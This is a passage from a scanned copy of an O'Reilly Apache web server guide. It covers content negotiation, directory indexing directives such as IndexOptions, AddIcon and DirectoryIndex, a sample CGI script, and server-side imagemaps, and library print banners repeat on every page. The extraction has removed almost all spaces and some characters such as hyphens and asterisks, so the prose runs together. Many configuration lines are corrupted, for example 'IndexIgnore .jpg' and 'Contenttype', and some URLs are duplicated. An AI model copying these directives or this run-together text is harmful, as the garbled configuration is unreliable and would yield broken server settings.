2.Ifthere'satie,counttheoccurrencesof" "inthetypeandchoosetheonewiththelowestvalue(i.e.,theonewiththeleastwildcarding).
3.Ifthere'sstillatie,choosethetypewiththehighestlanguagepriority.
4.Ifthere'sstillatie,choosethetypewiththehighestlevelnumber.
5.Ifthere'sstillatie,choosethehighestcontentlength.
Ifyoucanpredicttheoutcomeofallthisinyourhead,youmustqualifyforsomeprettyclassyaward!Followingisthefulllistofpossibledirectives,giveninthe
Apachedocumentation:
URI:uri
URIofthefilecontainingthevariant(ofthegivenmediatype,encodedwiththegivencontentencoding).TheseareinterpretedasURLsrelativetothemapfilethey
mustbeonthesameserver(!),andtheymustrefertofilestowhichtheclientwouldbegrantedaccessifthefileswererequesteddirectly.
Contenttype:media_type[qs=quality[level=level]]
TheseareoftenreferredtoasMIMEtypestypicalmediatypesareimage/gif,text/plain,ortext/html.
Contentlanguage:language
Thelanguageofthevariant,specifiedasanInternetstandardlanguagecode(e.g.,enforEnglish,koforKorean).
Contentencoding:encoding
Ifthefileiscompressedorotherwiseencoded,ratherthancontainingtheactualrawdata,thisvaluesayshowcompressionwasdone.Forcompressedfiles(theonly
casewherethisgenerallycomesup),contentencodingshouldbeXcompressorgzip,asappropriate.
Contentlength:length
Thesizeofthefile.ThesizeofthefileisusedbyApachetodecidewhichfiletosendspecifyingacontentlengthinthemapallowstheservertocomparethelength
withoutcheckingtheactualfile.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page140
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Althoughtimehaspassed,thesituationhasprobablynotchangedverymuch.Inaddition,mostbrowsersdonotindicateapreferenceforparticulartypes.Thisshould
bedonebyaddingapreferencefactor(<b>q</b>)tothecontenttype.Forexample,abrowserthatacceptsAcrobatfilesmightpreferthemtoHTML,soitcould
sendanaccepttypelistthatincludes:
<tt>text/html:q=0.7,application/pdf:q=0.8</tt>
Whentheserverhandlestherequest,itcombinesthisinformationwithitssourcequalityinformation(ifany)topickthe"best"contenttypetoreturn.
ForanothermethodofhandlingMIMEtypes,see"MIMEMagic"inChapter12.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page141
7
Indexing
Aswesawbackonsite.first(seeChapter3,TowardaRealWebSite),ifthereisnoindex.htmlfilein/htdocs,Apacheconcoctsonecalled"Indexof/",where
"/"meanstheDocumentRootdirectory.Formanypurposesthiswill,nodoubt,beenough.Butsincethisjuryriggedindexisthefirstthingaclientsees,youmay
wanttodomore.
MakingBetterIndexesinApache
Thereisawiderangeofpossibilitiessomearedemonstratedat/site.fancyindex:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.fancyindex/htdocs
<Directory/usr/www/site.fancyindex/htdocs>
FancyIndexingon
AddDescription"Oneofourwonderfulcatalogs"catalog_summer.html
catalogautumn.html
IndexIgnore .jpg
IndexIgnore..
IndexIgnoreiconsHEADERREADME
AddIconByType(CAT,icons/bomb.gif)text/
DefaultIconicons/burst.gif
#AddIcon(DIR,icons/burst.gif)^^DIRECTORY^^
HeaderNameHEADER
ReadMeNameREADME
</Directory>
Whenyoutypegoontheserverandaccesshttp://www.butterthlies.com/onthebrowser,youshouldseearatherfancydisplay:
WelcometoBUTTERTHLIESINCNameLastModifiedSizeDescription
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page142
<bomb>catalog_autumn.html23Jul199809:111kOneofourwonderfulcatalogs
<bomb>catalog_summer.html25Jul199810:311kOneofourwonderfulcatalogs
<burst>index.html.ok23Jul199809:111k
ButterthliesInc,HopefulCity,Nevada99999
(ThisoutputisfromApache1.3theyearisdisplayedinfourdigitformattocopewiththeYear2000problem.)Howdoesallthiswork?Asyoucanseefromthe
httpd.conffile,thissmartformattingisdisplayeddirectorybydirectory.ThekeydirectiveisIndexOptions.
IndexOptions
IndexOptionsoptionoption
Serverconfig,virtualhost,directory,.htaccess
ThisdirectivewasalteredbytheApacheGroupaswewenttopresswiththiseditionofthebooktherefore,itsbehaviorisdifferentbeforeandafterApacheversion
1.3.2.Theoptionsareasfollows:
FancyIndexing
Turnsonfancyindexingofdirectories(seethesection"FancyIndexing,"laterinthischapter).
NotethatinversionsofApachepriorto1.3.2,theFancyIndexingandIndexOptionsdirectiveswilloverrideeachother.Youshoulduse
IndexOptionsFancyIndexinginpreferencetothestandaloneFancyIndexingdirective.AsofApache1.3.2,astandalone
FancyIndexingdirectiveiscombinedwithanyIndexOptionsdirectivealreadyspecifiedforthecurrentscope.
IconHeight[=pixels](Apache1.3andlater)
Thepresenceofthisoption,whenusedwithIconWidth,willcausetheservertoincludeHEIGHTandWIDTHattributesinthe<IMG>tagforthefileicon.This
allowsbrowserstoprecalculatethepagelayoutwithouthavingtowaituntilalltheimageshavebeenloaded.Ifnovalueisgivenfortheoption,itdefaultstothe
standardheightoftheiconssuppliedwiththeApachesoftware.
IconsAreLinks
ThisoptionmakestheiconspartoftheanchorfortheComponent,forfancyindexing.
IconWidth[=pixels](Apache1.3andlater)
Thepresenceofthisoption,whenusedwithIconHeight,willcausetheservertoincludeHEIGHTandWIDTHattributesinthe<IMG>tagforthefileicon.This
allowsbrowserstoprecalculatethepagelayoutwithouthavingtowaituntilalltheimageshavebeenloaded.Ifnovalueisgivenfortheoption,itdefaultstothe
standardwidthoftheiconssuppliedwiththeApachesoftware.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page143
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
NameWidth=[n| ](Apache1.3.2andlater)
TheNameWidthkeywordallowsyoutospecifythewidthoftheComponentcolumninbytes.Ifthekeywordvalueis" ",thenthecolumnisautomaticallysizedto
thelengthofthelongestComponentinthedisplay.
ScanHTMLTitles
EnablestheextractionofthetitlefromHTMLdocumentsforfancyindexing.IfthefiledoesnothaveadescriptiongivenbyAddDescription,thenhttpdwill
readthedocumentforthevalueofthe<TITLE>tag.ThisprocessisCPUanddiskintensive.
SuppressColumnSorting
Ifspecified,Apachewillnotmakethecolumnheadingsinafancyindexeddirectorylistingintolinksforsorting.Thedefaultbehaviorisforthemtobelinksselecting
thecolumnheadingwillsortthedirectorylistingbythevaluesinthatcolumn.OnlyavailableinApache1.3andlater.
SuppressDescription
Thisoptionwillsuppressthefiledescriptioninfancyindexinglistings.
SuppressHTMLPreamble(Apache1.3andlater)
IfthedirectoryactuallycontainsafilespecifiedbytheHeaderNamedirective,themoduleusuallyincludesthecontentsofthefileafterastandardHTMLpreamble
(<HTML>,<HEAD>,etc.).TheSuppressHTMLPreambleoptiondisablesthisbehavior,causingthemoduletostartthedisplaywiththeheaderfilecontents.
TheheaderfilemustcontainappropriateHTMLinstructionsinthiscase.Ifthereisnoheaderfile,thepreambleisgeneratedasusual.
SuppressLastModified
Thisoptionwillsuppressthedisplayofthelastmodificationdateinfancyindexinglistings.
SuppressSize
Thisoptionwillsuppressthefilesizeinfancyindexinglistings.
TherearesomenoticeabledifferencesinthebehavioroftheIndexOptionsdirectiveinrecent(post1.3.0)versionsofApache.InApache1.3.2andearlier,the
defaultisthatnooptionsareenabled.IfmultipleIndexOptionscouldapplytoadirectory,thenthemostspecificoneistakencompletetheoptionsarenot
merged.Forexample,ifthespecifieddirectivesare:
<Directory/web/docs>
IndexOptionsFancyIndexing
</Directory>
<Directory/web/docs/spec>
IndexOptionsScanHTMLTitles
</Directory>
thenonlyScanHTMLTitleswillbesetforthe/web/docs/specdirectory.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page144
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Apache1.3.3introducedsomesignificantchangesinthehandlingofIndexOptionsdirectives.Inparticular:
MultipleIndexOptionsdirectivesforasingledirectoryarenowmergedtogether.Theresultofthepreviousexamplewillnowbetheequivalentof
IndexOptionsFancyIndexingScanHTMLTitles.
Incrementalsyntax(i.e.,prefixingkeywordswith"+"or"")hasbeenadded.
Whenevera"+"or""prefixedkeywordisencountered,itisappliedtothecurrentIndexOptionssettings(whichmayhavebeeninheritedfromanupperlevel
directory).However,wheneveranunprefixedkeywordisprocessed,itclearsallinheritedoptionsandanyincrementalsettingsencounteredsofar.Considerthe
followingexample:
IndexOptions+ScanHTMLTitlesIconsAreLinksFancyIndexing
IndexOptions+SuppressSize
TheneteffectisequivalenttoIndexOptionsFancyIndexing+SuppressSize,becausetheunprefixedFancyIndexingdiscardedthe
incrementalkeywordsbeforeitbutallowedthemtostartaccumulatingagainafterward.
TounconditionallysettheIndexOptionsforaparticulardirectory,clearingtheinheritedsettings,specifykeywordswithouteither"+"or""prefixes.
FancyIndexing
FancyIndexingon_or_off
Serverconfig,virtualhost,directory,.htaccess
FancyIndexingturnsfancyindexingon.Theusercanclickonacolumntitletosorttheentriesbyvalue.Clickingagainwillreversethesort.Sortingcanbe
turnedoffwiththeSuppressColumnSortingkeywordforIndexOptions(seeearlierinthischapter).
Wecanspecifyadescriptionforindividualfilesorforalistofthem.WecanexcludefilesfromthelistingwithIndexIgnore.
IndexIgnore
IndexIgnorefile1file2
Serverconfig,virtualhost,directory,.htaccess
IndexIgnoreisfollowedbyalistoffilesorwildcardstodescribefiles.Asweseeinthefollowingexample,multipleIndexIgnoresaddtothelistrather
thanreplacingeachother.Bydefault,thelistincludes".".
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page145
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Herewewanttoignorethe* .jpgfiles(whichare,afterall,nousewithoutthe.htmlfilesthatdisplaythem)andtheparentdirectory,knowntoUnixandtoWin32as
''..":
<Directory/usr/www/fancyindex.txt/htdocs>
FancyIndexingon
AddDescription"Oneofourwonderfulcatalogs"catalog_autumn.htmlcatalog_
summer.html
IndexIgnore .jpg..
</Directory>
YoumightwanttouseIndexIgnoreforsecurityreasonsaswell:whattheeyedoesn'tsee,themousefingercan'tsteal. YoucanputinextraIndexIgnore
lines,andtheeffectsarecumulative,sowecouldjustaswellwrite:
<Directory/usr/www/fancyindex.txt/htdocs>
FancyIndexingon
AddDescription"Oneofourwonderfulcatalogs"catalog_autumn.htmlcatalog_
summer.html
IndexIgnore .jpg
IndexIgnore..
</Directory>
Wecanaddvisualsparkletoourpage,withoutwhichsuccessontheWebismostunlikely,bygivingiconstothefileswiththeAddIcondirective.Apachehasmore
iconsthanyoucanshakeastickatinits/iconsdirectory.Withoutspendingsometimeexploring,onedoesn'tknowpreciselywhateachonelookslike,but
bomb.gifsoundspromising.TheiconsdirectoryneedstobespecifiedrelativetotheDocumentRootdirectory,sowehavemadeasubdirectory/htdocs/icons
andcopiedbomb.gifintoit.Wecanattachthebombicontoalldisplayed.htmlfileswith:
AddIconicons/bomb.gif.html
AddIcon
AddIconicon_namename
Serverconfig,virtualhost,directory,.htaccess
AddIconexpectstheURLofanicon,followedbyafileextension,awildcardexpression,apartialComponent,oracompleteComponenttodescribethefilesto
whichtheiconwillbeadded.WecaniconifysubdirectoriesofftheDocumentRootwith^^DIRECTORY^^,ormakeblanklinesformatproperlywith
^^BLANKICON^^.Sincewehavetheconvenienticonsdirectorytopracticewith,wecaniconifyitwith:
AddIcon/icons/burst.gif^^DIRECTORY^^
Well,OK,youshouldneverrelyonthis,butitdoesn'thurt,right?
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page146
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Orwecanmakeitdisappearwith:
IndexIgnoreicons
Notallbrowserscandisplayicons.WecancatertothosethatcannotbyprovidingatextalternativealongsidetheiconURL:
AddIcon("DIR",/icons/burst.gif)^^DIRECTORY^^
ThislinewillprintthewordDIRwherethebursticonwouldhaveappearedtomarkadirectory(thatis,thetextisusedastheALTdescriptioninthelinktothe
icon).Youcould,ifyouwanted,printtheword"Directory"or"Thisisadirectory."Thechoiceisyours.
Examples:
AddIcon(IMG,/icons/image.xbm).gif.jpg.xbm
AddIcon/icons/dir.xbm^^DIRECTORY^^
AddIcon/icons/backup.xbm ~
AddIconByTypeshouldbeusedinpreferencetoAddIcon,whenpossible.
AddAlt
AddAltstringfilefile
Serverconfig,virtualhost,directory,.htaccess
AddAltsetsalternatetexttodisplayforthefileiftheclient'sbrowsercan'tdisplayanicon.Thestringmustbeenclosedindoublequotes.
AddDescription
AddDescriptionstringfile1file2
Serverconfig,virtualhost,directory,.htaccess
AddDescriptionexpectsadescriptionstringindoublequotes,followedbyafileextension,partialComponent,wildcards,orfullComponent:
<Directory/usr/www/fancyindex.txt/htdocs>
FancyIndexingon
AddDescription"Oneofourwonderfulcatalogs"catalog_autumn.html
catalog_summer.html
IndexIgnore .jpg
IndexIgnore..
AddIcon(CAT,icons/bomb.gif).html
AddIcon(DIR,icons/burst.gif)^^DIRECTORY^^
AddIconicons/blank.gif^^BLANKICON^^
DefaultIconicons/blank.gif
</Directory>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page147
Havingachievedthesewonders,wemightnowwanttobeabitmoresensibleandchooseouriconsbyMIMEtypeusingtheAddIconByTypedirective.
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
DefaultIcon
DefaultIconurl
Serverconfig,virtualhost,directory,.htaccess
DefaultIconsetsadefaulticontodisplayforunknownfiletypes.urlpointstotheicon.
AddIconByType
AddIconByTypeiconmime_typelmime_type2
Serverconfig,virtualhost,directory,.htaccess
AddIconByTypetakesasanargumentaniconURL,followedbyalistofMIMEtypes.Apachelooksforthetypeentryinmime.types,eitherwithorwithouta
wildcard.WehavethefollowingMIMEtypes:
text/htmlhtmlhtm
text/plaintext
text/richtextrtx
text/tabseparatedvaluestsv
text/xsetexttext
So,wecouldhaveoneiconforalltextfilesbyincludingtheline:
AddIconByType(TXT,icons/bomb.gif)text/
Orwecouldbemorespecific,usingfouricons,a.gif,b.gif,c.gif,andd.gif:
AddIconByType(TXT,/icons/a.gif)text/html
AddIconByType(TXT,/icons/b.gif)text/plain
AddIconByType(TXT,/icons/c.gif)text/tabseparatedvalues
AddIconByType(TXT,/icons/d.gif)text/xsetext
Let'stryoutthesimplercase:
<Directory/usr/www/fancyindex.txt/htdocs>
FancyIndexingon
AddDescription"Oneofourwonderfulcatalogs"catalog_autumn.html
catalog_summer.html
IndexIgnore .jpg
IndexIgnore..
AddIconByType(CAT,icons/bomb.gif)text/
AddIcon(DIR,icons/burst.gif)^^DIRECTORY^^
</Directory>
Forafurtherrefinement,wecanuseAddIconByEncodingtogiveaspecialicontoencodedfiles.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page148
AddAltByType
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
AddAltByTypestringmime_type1mime_type2
Serverconfig,virtualhost,directory,.htaccess
AddAltByTypeprovidesatextstringforthebrowsertodisplayifitcannotshowanicon.Thestringmustbeenclosedindoublequotes.
AddIconByEncoding
AddIconByEncodingiconmime_encoding1mime_encoding2
Serverconfig,virtualhost,directory,.htaccess
AddIconByEncodingtakesaniconnamefollowedbyalistofMIMEencodings.Forinstance,xcompressfilescanbeiconifiedwith:
AddIconByEncoding(COMP,/icons/d.gif)application/xcompress
AddAltByEncoding
AddAltByEncodingstringmime_encoding1mime_encoding2
Serverconfig,virtualhost,directory,.htaccess
AddAltByEncodingprovidesatextstringforthebrowsertodisplayifitcan'tputupanicon.Thestringmustbeenclosedindoublequotes.
Next,inourrelentlessdriveforperfection,wecanprintstandardheadersandfooterstoourmenuswiththeHeaderNameandReadmeNamedirectives.
HeaderName
HeaderNameComponent
Serverconfig,virtualhost,directory,.htaccess
Thisdirectiveinsertsaheader,readfromComponent,atthetopoftheindex.Thenameofthefileistakentoberelativetothedirectorybeingindexed.Apachewill
lookfirstforComponent.htmland,ifthatisnotfound,thenComponent.
ReadmeName
ReadmeNameComponent
Serverconfig,virtualhost,directory,.htaccess
Componentistakentobethenameofthefiletobeincluded,relativetothedirectorybeingindexed.ApachetriestoincludeComponent.htmlasanHTML
documentand,ifthatfails,astext.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page149
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
IfwesimplycallthefileHEADER,ApachewilllookfirstforHEADER.htmlanddisplayitiffound.Ifnot,itwilllookforHEADERanddisplaythat.TheHEADER
filecanbe:
WelcometoBUTTERTHLIES,Inc.
andtheREADMEfile:
ButterthliesInc.,HopefulCity,Nevada99999
tocorrespondwithourindex.html.Wedon'twantHEADERandREADMEtoappearinthemenuthemselves,soweaddthemtotheIndexIgnoredirective:
<Directory/usr/www/fancyindex.txt/htdocs>
FancyIndexingon
AddDescription"Oneofourwonderfulcatalogs"
catalog_autumn.htmlcatalog_summer.html
IndexIgnore .jpg
IndexIgnore..iconsHEADERREADME
AddIconByType(CAT,icons/bomb.gif)text/
AddIcon(DIR,icons/burst.gif)^^DIRECTORY^^
HeaderNameHEADER
ReadMeNameREADME
</Directory>
SinceHEADERandREADMEcanbeHTMLscripts,youcanwrapthedirectorylistingupinawholelotoffancyinteractivestuffifyouwant.
But,onthewhole,FancyIndexingisjustacheapandcheerfulwayofgettingsomethingupontheWeb.ForanelegantNetsolution,studythenextsection.
MakingOurOwnIndexes
Inthelastsection,welookedatApache'sindexingfacilities.Sofarwehavenotbeenveryadventurouswithourownindexingofthedocumentrootdirectory.We
replacedApache'sadequatedirectorylistingwithacustommade.htmlfile:index.html(seeChapter3).
Wecanimproveonindex.htmlwiththeDirectoryIndexcommand.Thiscommandspecifiesalistofpossibleindexfilestobeusedinorder.
DirectoryIndex
DirectoryIndexlocalurllocalurl
Default:index.html
Serverconfig,virtualhost,directory,.htaccess
TheDirectoryIndexdirectivesetsthelistofresourcestolookforwhentheclientrequestsanindexofthedirectorybyspecifyinga"/"attheendofthe
directoryname.localurlisthe(%encoded)URLofadocumentontheserverrelativetotherequesteddirectoryitisusuallythenameofafileinthedirectory.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page150
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
SeveralURLsmaybegiven,inwhichcasetheserverwillreturnthefirstonethatitfinds.IfnoneoftheresourcesexistsandOptionsIndexesisset,theserverwill
generateitsownlistingofthedirectory.Forexample,ifthespecificationis:
DirectoryIndexindex.html
thenarequestforwouldreturnhttp://myserver/docs/index.html"target="_BLANK">http://myserver/docs/wouldreturnhttp://myserver/docs/index.htmlifitexists,
orwouldlistthedirectoryifitdidnot.Notethatthedocumentsdonotneedtoberelativetothedirectory:
DirectoryIndexindex.htmlindex.txt/cgibin/index.pl
wouldcausetheCGIscript/cgibin/index.pltobeexecutedifneitherindex.htmlorindex.txtexistedinadirectory.
TheConfigfilefrom/site.ownindexisasfollows:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.ownindex/htdocs
AddHandlercgiscriptcgi
OptionsExecCGIindexes
<Directory/usr/www/site.ownindex/htdocs/d1>
DirectoryIndexhullo.cgiindex.htmlgoodbye
</Directory>
<Directory/usr/www/site.ownindex/htdocs/d2>
DirectoryIndexindex.htmlgoodbye
</Directory>
<Directory/usr/www/site.ownindex/htdocs/d3>
DirectoryIndexgoodbye
</Directory>
In/htdocswehavefivesubdirectories,eachcontainingwhatyouwouldexpecttofindin/htdocsitself,plusthefollowingfiles:
hullo.cgi
index.html
goodbye
TheCGIscripthullo.cgiis:
#!/bin/sh
echo"Contenttype:text/html"
echo
env
echoHithere
TheHTMLscriptindex.htmlis:
<html>
<body>
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page151
<h1>IndextoButterthliesCatalogs</h1>
<ul>
<li><Ahref="catalog_summer.html">Summercatalog</A>
<li><Ahref="catalog_autumn.html">Autumncatalog</A>
</ul>
<hr>
<br>
ButterthliesInc,HopefulCity,Nevada99999
</body>
</html>
Thetextfilegoodbyeis:
Sorry,wecan'thelpyou.Haveaniceday!
TheConfigfilesetsupdifferentDirectoryIndexoptionsforeachsubdirectorywithadecreasinglistofDirectoryIndex(es).Ifhullo.cgifailsforany
reason,thenindex.htmlisrun,andifthatfails,wehaveapolitemessageingoodbye.
Inreallife,hullo.cgimightbeaveryenergeticscriptthatreallygottoworkontheclientsregisteringtheiraccountnumbers,encouragingthefreespenders,chiding
theclosefisted,andgenerallypromotinghealthycommerce.Actually,wewon'tgotoallthattroublejustnow.Wewilljustcopythefile/usr/www/mycgito
/htdocs/d* /hullo.cgi.Ifitisn'texecutable,wehavetoremembertomakeitexecutableinitsnewhomewith:
chmod+xhullo.cgi
StartApachewith./goandaccesswww.butterthlies.com.Youseethefollowing:
Indexof/
.ParentDirectory
.d1
.d2
.d3
.d4
.d5
Ifweselectd1,weget:
GATEWAY_INTERFACE=CGI/1.1
REMOTE_HOST=192.168.123.1
REMOTE_ADDR=192.168.123.1
QUERY_STRING=
DOCUMENT_ROOT=/usr/www/site.ownindex/htdocs
HTTP_USER_AGENT=Mozilla/3.0b7(Win95I)
HTTP_ACCEPT=image/gif,image/xxbitmap,image/jpeg,image/pjpeg, /
SCRIPT_Component=/usr/www/site.ownindex/htdocs/d1/hullo.cgi
HTTP_HOST=www.butterthlies.com
SERVER_SOFTWARE=Apache/1.1.1
HTTP_CONNECTION=KeepAlive
HTTP_COOKIE=Apache=192287840536604921
REDIRECT_URL=/d1/
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page152
PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/local/bin
HTTP_REFERER=http://192.168.123.2/
SERVER_PROTOCOL=HTTP/1.0
REDIRECT_STATUS=200
REQUEST_METHOD=GET
SERVER_ADMIN=[noaddressgiven]
SERVER_PORT=80
SCRIPT_NAME=/d1/hullo.cgi
SERVER_NAME=www.butterthlies.com
haveaniceday
Ifweselectd2(ordisable/d1/hullo.cgisomehow),weshouldseetheoutputof/htdocs/d1/index.html:
D2:IndextoButterthliesCatalogs
catalog_summer.html
catalog_autumn.html
ButterthliesInc,HopefulCity,Nevada99999
Ifweselectd3,weget:
Sorry,wecan'thelpyou.Haveaniceday!
Ifweselectd4,weget:
Indexof/d4
.ParentDirectory
.bath.jpg
.bench.jpg
.catalog_autumn.html
.catalog_summer.html
.hen.jpg
.tree.jpg
Indirectoryd5,wehavethecontentsofd1,plusa.htaccessfilethatcontains:
DirectoryIndexhullo.cgiindex.html.okgoodbye
Thisgivesusthesamethreepossibilitiesasbefore.Itmaybeworthrememberingthatusingentriesin.htaccessismuchslowerthanusingentriesintheConfigfile,
becausethedirectivesinthe/conffilesareloadedwhenApachestarts,whereas.htaccessisconsultedeachtimeaclientaccessesthesite.
Generally,theDirectoryIndexmethodleavestheballinyourcourt.Youhavetowritetheindex.htmlscriptstodowhateverneedstobedone,butofcourse,
youhavetheopportunitytoproducesomethingamazing.
Imagemaps
Wehaveexperimentedwithvarioussortsofindexing.Bearinginmindthatwordsaregoingoutoffashioninmanycircles,wemaywanttopresentanindexas
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page153
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
somesortofpicture.Insomecircumstances,twodimensionsmayworkmuchbetterthanoneselectingplacesfromamap,forinstance,isanaturalexample.The
objectivehereistolettheclientuserclickonimagesorareasofimagesandtodeducefromthepositionofthecursoratthetimeoftheclickwhatheorshewantsto
donext.
Recently,browsershaveimprovedincapabilityandclientsidemapping(builtintothereturnedHTMLscript)isbecomingmorepopular.Itisalsopossibletoembed
animagemapintheHTML(seehttp://home.netscape.com/assist/net_sites/html_extensions_3.html).However,herewedoitattheserverend.Thehttpd.confin
/site.imapisasfollows:
Userwebuser
Groupwebgroup
ServerNamewww.butterthlies.com
DocumentRoot/usr/www/site.imap/htdocs
AddHandlerimapfilemap
ImapBasemap
#ImapDefaultdefault.html
#ImapDefaulterror
ImapDefaultreferer
ImapDefaultmap
ImapMenuFormatted
Thesevenlinesofnotearethelast.AddHandlersetsupimagemaphandlingusingfileswiththeextension.map.
ImapBase
ImapBase[map|referer|URL]
Default:servernameServerconfig,virtualhost,directory,.htaccess"target="_BLANK">http://servername
Serverconfig,virtualhost,directory,.htaccess
ThisdirectivesetsthebaseURLfortheimagemap,asfollows:
map
TheURLoftheimagemapitself.
referer
TheURLofthereferringdocument.Ifthisisunknown,isused"target="_BLANK">http://servername/isused.
URL
ThespecifiedURL.
Ifthisdirectiveisabsent,themapbasedefaultstowhichisthesameastheDocumentRootdirectory"target="_BLANK">http://servername/,whichisthesameas
theDocumentRootdirectory.
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Page154
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
ImapErrors
Whenthingsgowrongwithimagemapswhichweshallengineerbysettingcirclesinbench.mapandclickingonthecornersofthepicturetheactiontotakeisset
firstbyalineinthefilebench.map:
default[error|nocontent|map|referer|URL]
Themeaningsoftheargumentsaregivenunderthenextitem.Ifthislineisnotpresent,thenthedirectiveImapDefaulttakesover.
ImapDefault
ImapDefault[error|nocontent|map|URL]
Default:nocontent
Serverconfig,virtualhost,directory,.htaccess
Thereisachoiceofactions(ifyouspellthemincorrectly,noerrormessageappearsandnoactionresults):
error
ThismakesApacheserveupastandarderrormessage,whichappearsonthebrowser(dependingwhichoneitis)assomethinglike"InternalServerError."
nocontent
Apacheignorestherequest.
map
ApachereturnsthemessageDocumentmovedhere.
URL
ApachereturnstheURL.Ifitisrelative,thenitwillberelativetotheimagemapbase.Onthissiteweserveupthefiledefault.htmltodealwitherrors.Itcontainsthe
message:
You'reclickinginthewrongplace
HTMLFile
Thedocumentweserveupis/htdocs/sides.html:
<html>
<body>
<h1>WelcometoButterthliesInc</h1>
<h2>WhichSideoftheBench?</h2>
<p>Tellusonwhichsideofthebenchyouliketosit
</p>
<hr>
<p>
<palign=center>
<AHREF="bench.map">
<IMGISMAPSRC="bench.jpg"ALT="Apictureofabench">
EBSCO Publishing : eBook Collection (EBSCOhost) - printed on 1/13/2017 4:56 AM via AKRON SUMMIT COUNTY PUBLIC LIBRARY
AN: 24202 ; Laurie, Ben.; Apache : The Definitive Guide
Account: akron
Copyright 1999. O'Reilly. All rights reserved. May not be reproduced in any form without permission from the publisher, except fair uses permitted under U.S. or applicable copyright law.
Page155
</A>
<palign=center>
Clickonthesideyouprefer
</body>
